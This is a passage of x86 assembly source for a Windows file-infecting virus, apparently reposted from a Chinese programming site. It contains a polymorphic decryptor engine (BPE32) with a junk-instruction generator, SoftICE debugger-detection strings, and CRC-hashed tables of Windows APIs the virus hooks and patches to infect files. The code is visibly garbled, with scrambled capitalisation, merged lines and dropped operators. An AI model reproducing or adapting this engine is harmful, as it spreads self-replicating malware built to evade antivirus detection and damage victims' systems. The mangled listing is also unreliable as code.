MOV Al, 31h; Generate Xor [SourceReg], KeyReg

Stosb; ...

Mov al, ch; ...

ROL Al, 3; ...

OR Al, Bh; ...

Stosb; ...

Push 6; this Stuff Will Choose Ordinary of Calls

Call Random; To Code Generators

Test Eax, EAX

JE G5; GREG4 - Key Incremention

CMP AL, 1; Greg5 - Source Incremention

JE G1; GREG6 - Count Decrement

CMP Al, 2; Greg7 - Decryption Loop

Je g2

CMP Al, 3

Je g3

CMP AL, 4

Je g4

G0: Call GG1

Call greg6

JMP g_endg1: Call GG2

Call greg5

JMP g_end

G2: Call GREG5

Call GG2

JMP g_end

G3: Call GREG5

GG3: Call GREG6

JMP g_out

G4: Call GREG6

Call GG1

JMP g_end

G5: Call GREG6

Call greg5

g_out: Call Greg4

g_end: Call Greg7

MOV Al, 61h; Generate Popad Instruction

Stosb; ...

Call Rjunk; Junk Instruction Generator

MOV Al, 0C3H; RET INSTRUCTION

Stosb; ...

POP Eax; Calculate Size of Decryptor and Encrypted Data

Sub Eax, EDI; ...

NEG EAX; ...

Mov [ESP.PUSHAD_EAX], EAX; Store It To Eax Register

Popad; Restore All Regs

Ret; and Thats All FOLX

Get_reg proc; this procedure generates random register

Push 8; Random Number (0-7)

Call Random; ...

Test Eax, EAX

JE get_reg; Must Not Be 0 (= EAX IS Used as junk register)

CMP Al, 100B; Must Not Be ESP

JE get_reg

RET

GET_REG ENDP

Make_xor proc; this procedure will generate Instruction, That

Push 3; Will Nulify Register (BL AS Parameter)

Call Random

Test Eax, EAX

JE _SUB_

CMP Al, 1

JE _MOV_

MOV Al, 33h; Generate Xor REG, REG

JMP _xor_

_SUB_: MOV Al, 2Bh; Generate Sub Reg, REG

_xor_: Stosb

MOV Al, 18h

OR Al, BL

ROL Al, 3

OR Al, BL

Stosb

RET

_MOV_: CMP DL, 11; Generate Mov Reg, 0

Je make_xor

MOV Al, 0B8H

Add Al, BL

Stosb

XOR EAX, EAX

Stosd

RET

Make_xor endp

GG1: Call GREG4

JMP GREG5

GG2: Call GREG4

JMP GREG6

Random Proc; This Procedure Will Generate Random Number

; in Range from 0 to pushed_parameter-1

; 0 = do not truncate result

Push EDX; Save Edx

RDTCS; RDTCS INSTRUCTION - Reads PCS Tix and Stores

Number of Them Into Pair EDX: EAX

XOR EDX, EDX; Nulify Edx, WE NEED INLY EAX

CMP [ESP 8], EDX; is parameter == 0?

Je r_out; yeah, do not truncate result

Div DWORD PTR [ESP 8]; Divide IT

XCHG Eax, EDX; Remainder As Resultr_out: Pop Edx; Restore Edx

RET PSHD; Quit Procedure and Destroy Pushed Parameter

Random ENDP

Make_xor2 proc; Create Xor Instruction

MOV Al, 81H

Stosb

MOV Al, 0F0H

Add Al, BH

Stosb

RET

Make_xor2 endp

Greg2 proc; 1 parameter = Source / Count Value

Call get_reg; get register

CMP AL, BL; Already used?

Je Greg2

CMP AL, 5

Je Greg2

CMP Al, BH

Je Greg2

MOV BH, Al

MOV ECX, [ESP 4]; Get Parameter

Push 5; Choose Instructions

Call Random

Test Eax, EAX

JE S_NEXT0

CMP Al, 1

JE S_Next1

CMP AL, 2

JE S_Next2

CMP Al, 3

JE S_NEXT3

MOV Al, 0B8H; MOV REG, RANDOM_VALUE

Add Al, Bh; Xor REG, VALUE

Stosb; param = random_value xor value

PUSH 0

Call Random

XOR ECX, EAX

Stosd

Call make_xor2

MOV EAX, ECX

JMP N_END2

S_Next0: MOV Al, 68H; Push Random_Value

Stosb; POP REG

Push 0; xor REG, VALUE

Call Random; Result = Random_Value Xor Value

XCHG EAX, ECX

XOR EAX, ECX

Stosd

MOV Al, 58H

Add Al, BH

Stosb

Call make_xor2

XCHG EAX, ECX

JMP N_END2

S_Next1: MOV Al, 0B8H; Mov Eax, Random_Value

Stosb; Mov REG, EAX

Push 0; SUB REG, VALUE

Call Random; Result = Random_Value - Value

Stosd

Push EAX

MOV Al, 8BH

Stosb

MOV Al, 18h

OR Al, BH

ROL Al, 3

Stosb

MOV Al, 81H

Stosb

Mov al, 0e8h

Add Al, BH

Stosb

POP EAX

Sub Eax, ECX

JMP N_END2

S_Next2: Push Ebx; xor REG, REG

MOV BL, BH; Xor REG, RANDOM_VALUE

Call make_xor; add reg, value

POP EBX; Result = Random_Value Value

Call make_xor2

PUSH 0

Call Random

SUB ECX, EAX

Stosd

Push ECX

Call S_LBL

POP EAX

JMP N_END2

S_LBL: MOV Al, 81H; Create Add Reg, ... instruction

Stosb

MOV Al, 0C0H

Add Al, BH

Stosb

RET

S_Next3: Push Ebx; xor REG, REG

MOV BL, BH; Add Reg, Random_Value

Call make_xor; xor reg, valuepop ebx; result = random_value xor value

PUSH 0

Call Random

Push EAX

XOR EAX, ECX

XCHG EAX, ECX

Call S_LBL

XCHG EAX, ECX

Stosd

Call make_xor2

POP EAX

N_END2: Stosd

PUSH ESI

Call Rjunk

POP ESI

RET PSHD

GREG2 ENDP

GREG3 PROC

Call get_reg; get register

CMP AL, 5; Already used?

Je greg3

CMP AL, BL

Je greg3

CMP Al, BH

Je greg3

CMP AL, CL

Je greg3

MOV CH, Al

MOV EDX, 0; Get Encryption Key Value

XOR_KEY = DWORD PTR $ - 4

Push 3

Call Random

Test Eax, EAX

JE K_NEXT1

CMP Al, 1

JE K_NEXT2

Push Ebx; xor reg, REG

Mov BL, Ch; OR, Add, Xor REG, VALUE

Call make_xor

POP EBX

MOV Al, 81H

Stosb

Push 3

Call Random

Test Eax, EAX

JE K_NXT2

CMP Al, 1

JE K_NXT3

MOV Al, 0C0H

K_nxt1: Add Al, CH

Stosb

XCHG EAX, EDX

n_end1: stosd

K_end: Call Rjunk

RET

K_nxt2: MOV Al, 0F0H

JMP K_NXT1

K_nxt3: MOV Al, 0C8H

JMP K_NXT1

K_Next1: MOV Al, 0B8H; Mov Reg, Value

JMP K_NXT1

K_Next2: Mov Al, 68H; Push Value

Stosb; POP REG

XCHG EAX, EDX

Stosd

MOV Al, CH

Add Al, 58H

JMP i_end1

GREG3 ENDP

Greg4 proc

MOV EDX, 0; Get Key Increment Value

Key_inc = DWORD PT $ - 4

I_Next: Push 3

Call Random

Test Eax, EAX

JE I_NEXT0

CMP Al, 1

JE I_NEXT1

CMP AL, 2

JE I_NEXT2

MOV Al, 90H; XCHG Eax, REG

Add Al, CH; Xor REG, REG

Stosb; Or REG, EAX

Push Ebx; Add Reg, Value

MOV BL, CH

Call make_xor

POP EBX

MOV Al, 0BH

Stosb

MOV Al, 18h

Add Al, CH

ROL Al, 3

Stosb

I_Next0: Mov Al, 81H; Add Reg, Value

Stosb

MOV Al, 0C0H

Add Al, CH

Stosb

XCHG EAX, EDX

JMP N_END1

I_Next1: MOV Al, 0B8H; Mov Eax, Value

Stosb; Add Reg, EAX

XCHG EAX, EDX

Stosd

MOV Al, 3

Stosb

MOV Al, 18h

OR Al, CH

ROL Al, 3

I_END1: Stosb

i_end2: Call Rjunk

RET

I_Next2: Mov Al, 8bh; Mov Eax, Regstosb; Add Eax, Value

MOV Al, 0C0H; XCHG Eax, REG

Add Al, CH

Stosb

MOV Al, 5

Stosb

XCHG EAX, EDX

Stosd

MOV Al, 90h

Add Al, CH

JMP i_end1

GREG4 ENDP

Greg5 proc

Push ECX

MOV CH, BH

Push 4

POP EDX

Push 2

Call Random

Test Eax, EAX

JNE NG5

Call i_next; same as prepvious, value = 4

POP ECX

JMP K_END

NG5: MOV Al, 40H; 4X Inc REG

Add Al, CH

POP ECX

Stosb

Stosb

Stosb

JMP i_end1

GREG5 ENDP

GREG6 PROC

Push 5

Call Random

Test Eax, EAX

JE D_NEXT0

CMP Al, 1

JE D_NEXT1

CMP AL, 2

JE D_NEXT2

MOV Al, 83H; Sub Reg, 1

Stosb

Mov al, 0e8h

Add Al, Cl

Stosb

MOV Al, 1

JMP i_end1

D_Next0: MOV Al, 48H; Dec REG

Add Al, Cl

JMP i_end1

D_Next1: Mov Al, 0B8H; MOV Eax, Random_Value

Stosb; Sub Reg, EAX

Push 0; add reg, random_value-1

Call Random

Mov Edx, EAX

Stosd

MOV Al, 2BH

Stosb

MOV Al, 18h

Add Al, Cl

ROL Al, 3

Stosb

MOV Al, 81H

Stosb

MOV Al, 0C0H

Add Al, Cl

Stosb

Dec edx

MOV EAX, EDX

JMP N_END1

D_Next2: MOV Al, 90H; XCHG Eax, REG

Add Al, Cl; Dec EAX

Stosb; Xchg Eax, REG

MOV Al, 48h

Stosb

MOV Al, 90h

Add Al, Cl

JMP i_end1

GREG6 ENDP

Greg7 Proc

Mov Edx, [ESP 4]

Dec edx

Push 2

Call Random

Test Eax, EAX

JE L_NEXT0

MOV Al, 51H; Push ECX

Stosb; Mov ECX, REG

MOV Al, 8BH; JECXZ Label

Stosb; POP ECX

MOV Al, 0C8H; JMP Decrypt_Loop

Add Al, Cl; Label:

Stosb; POP ECX

Mov eax, 0eb5903e3h

Stosd

Sub EDX, EDI

MOV Al, DL

Stosb

MOV Al, 59H

JMP L_Next

L_next0: Push Ebx; xor EAX, EAX

XOR BL, BL; DEC EAX

Call make_xor; add Eax, REG

POP EBX; JNS Decrypt_LOOP

MOV Al, 48h

Stosb

MOV Al, 3

Stosb

MOV Al, 0C0H

Add Al, Cl

Stosb

MOV Al, 79h

Stosb

Sub EDX, EDI

MOV Al, DL

l_next: Stosb

Call Rjunk

RET PSHD

GREG7 ENDP

Rjunkjc: Push 7

Call Random

JMP RJN

Rjunk Proc; Junk Instruction Generator

Push 8

Call Random; 0 = 5, 1 = 1 2, 2 = 2 1, 3 = 1, 4 = 2, 5 = 3, 6 = None, 7 = Dummy Jump and Call

RJN: Test Eax, EAX

Je j5

CMP Al, 1

JE j_1x2

CMP AL, 2

JE j_2x1

CMP AL, 4

Je J2

CMP AL, 5

Je J3

CMP AL, 6

Je r_end

CMP AL, 7

Je jcj

J1: Call Junx1; One Byte Junk Instruction

NOP

Dec EAX

Salc

INC EAX

CLC

CWDE

STC

CLD

Junx1: POP ESI

Push 8

Call Random

Add ESI, ESI

Movsb

RET

J_1x2: Call J1; One Byte and Two Byte

JMP J2

J_2x1: Call J2; Two Byte and One Byte

JMP J1

J3: Call Junx3

DB 0C1H, 0C0H; ROL Eax, ...

DB 0C1H, 0E0H; SHL EAX, ...

DB 0C1H, 0C8H; Ror Eax, ...

DB 0C1H, 0E8H; SHR EAX, ...

DB 0C1H, 0D0H; RCL EAX, ...

DB 0C1H, 0F8H; Sar Eax, ...

DB 0C1H, 0D8H; RCR EAX, ...

DB 083H, 0C0H

DB 083H, 0C8H

DB 083H, 0D0H

DB 083H, 0D8H

DB 083H, 0E0H

DB 083H, 0E8H

DB 083H, 0F0H

DB 083H, 0F8H; CMP EAX, ...

DB 0F8H, 072H; CLC; JC ...

DB 0F9H, 073H; STC; JNC ...

Junx3: Pop ESI; Three Byte Junk Instruction

Push 17

Call Random

Imul Eax, 2

Add ESI, ESI

Movsb

Movsb

R_ran: Push 0

Call Random

Test Al, Al

Je r_ran

Stosb

RET

J2: Call Junx2

DB 8BH; MOV Eax, ...

DB 03H; Add Eax, ...

DB 13H; ADC EAX, ...

DB 2bh; SUB EAX, ...

DB 1BH; SBB EAX, ...

DB 0bh; or eax, ...

DB 33H; XOR Eax, ...

DB 23h; And Eax, ...

DB 33H; Test Eax, ...

Junx2: Pop ESI; Two Byte Junk Instruction

Push 9

Call Random

Add ESI, ESI

Movsb

Push 8

Call Random

Add Al, 11000000B

Stosb

R_end: RET

J5: Call Junx5

DB 0B8H; MOV Eax, ...

DB 05H; Add Eax, ...

DB 15h; ADC EAX, ...

DB 2DH; SUB EAX, ...

DB 1DH; SBB EAX, ...

DB 0DH; or Eax, ...

DB 35H; XOR Eax, ...

DB 25h; And Eax, ...

DB 0A9H; Test Eax, ...

DB 3dH; CMP Eax, ... JUNX5: POP ESI; FIVE BYTE JUNK INSTRUCTION

Push 10

Call Random

Add ESI, ESI

Movsb

PUSH 0

Call Random

Stosd

RET

JCJ: Call Rjunkjc; Junk

Push Edx; Call Label1

Push EBX; JUNK

Push ECX; JMP Label2

MOV Al, 0e8h; Junk

Stosb; Label1: Junk

Push EDI; RET

STOSD; JUNK

Push EDI; Label2:

Call Rjunkjc; Junk

Mov al, 0e9h

Stosb

MOV ECX, EDI

Stosd

MOV EBX, EDI

Call Rjunkjc

POP EAX

Sub Eax, EDI

NEG EAX

Mov Edx, EDI

POP EDI

Stosd

MOV EDI, EDX

Call Rjunkjc

MOV Al, 0C3H

Stosb

Call Rjunkjc

SUB EBX, EDI

NEG EBX

XCHG EAX, EBX

Push EDI

Mov Edi, ECX

Stosd

POP EDI

Call Rjunkjc

POP ECX

POP EBX

POP EDX

RET

Rjunk ENDP

BPE32 ENDP; BPE32 Ends Here

SZK32 DB 'KERNEL32.DLL', 0; Name of DLL

SICE95 DB '//./sice', 0; Softice / 95/98

SICENT DB '//./ntice', 0; Softice / NT

; APIS NEEDED AT RUN-TIME

CRCAPIS DD 0AE17EBEFH; FindfirstFilea

DD 0AA700106H; FindNextFilea

DD 0C200BE21H; FindClose

DD 03C19E536H; SetFileAttributesa

DD 04B2A3E7DH; setFiletime

DD 08C892DDFH; CREATEFILEA

DD 096B2D96CH; CREATEFILEMAPPINGA

DD 0797B49ECH; MapViewoffile

DD 094524B42H; UnmapViewOffile

DD 019F33607H; CreateThread

DD 0D4540229H; WaitforsingleObject

DD 068624A9DH; CloseHandle

DD 020B943E7H; CreateMutexa

DD 0C449CF4EH; ReleaseMutex

DD 0C6F22166H; OpenMuteExa

DD 00ac136bah; SLEEP

DD 079C3D4BBH; VirtualProtect

DD 0EB1CE85CH; getCurrentProcessid

DD 033D350C4H; OpenProcess

DD 041A050AFH; TerminateProcess

DD 04134D1ADH; LoadLibrarya

DD 0FFC97C1FH; GetProcaddress

DD 0AFDF191FH; freeelibrary

; APIS to Hook

CRCHAPIS DD 0AE17EBEFH; FindfirstFilea

DD 0AA700106H; FindNextFilea

DD 05BD05DB1H; CopyFilea

DD 0953F2B64H; CopyFileExa

DD 08C892DDFH; CREATEFILEA

DD 0267E0B05H; CreateProcessAdd 0DE256FDEH; Deletefilea

DD 0C633D3DEH; GetFileAttributesa

DD 08F48B20DH; getFullPathnamea

DD 0f2f886e3h; _lopen

DD 02308923FH; Movefilea

DD 03BE43958H; Movefileexa

DD 068D8FC46H; OpenFile

DD 03C19E536H; SetFileAttributesa

DD 028452C4FH; WINEXEC

DD 040F57181H; EXITPROCESS

DD 0058F9201H; exitthread

DD 087D52C94H; getLastError

DD 068624A9DH; CloseHandle

; APIS to Patch

CRCPAPIS DD 0E141042AH; GetProcessHeap

DD 042F13D06H; GetVersion

DD 0DE5C074CH; GetVersionex

DD 052CA6A8DH; GetStartupinfoa

DD 04E52DF5AH; getStartupinfow

DD 03921BF03H; GetcommandLinea

DD 025B90AD4H; getcommandLinew

DD 003690E66H; GetCurrentProcess

DD 019F33607H; CreateThread

DD 082B618D4H; GetModuleHandlea

DD 09E2EAD03H; GetModuleHandlew

DD?

Virus_end:; End of Virus in Host

TMP DD?; Temporary Variable

ORG TMP; OVERLAY

WFD WIN32_FIND_DATA?; WIN32 Find Data

WFD2 win32_find_data?; Win32 Find Data

DATA_BUFFER DB 256 DUP (?); buffer for VLCB_TDATA

Size_unint = $ - Virus_END; SIZE OF Unitialized

Variables

Used Only by First Generation of Virus

Workspace1 DB 16 DUP (?); USD by Compression

Workspace2 DB 16 DUP (?); Engine

_GetModuleHandlea DD Offset getModuleHandlea

Ends; End of code Section

End first_gen; end of virus

转载请注明原文地址:https://www.9cbs.com/read-37094.html

New Post(0)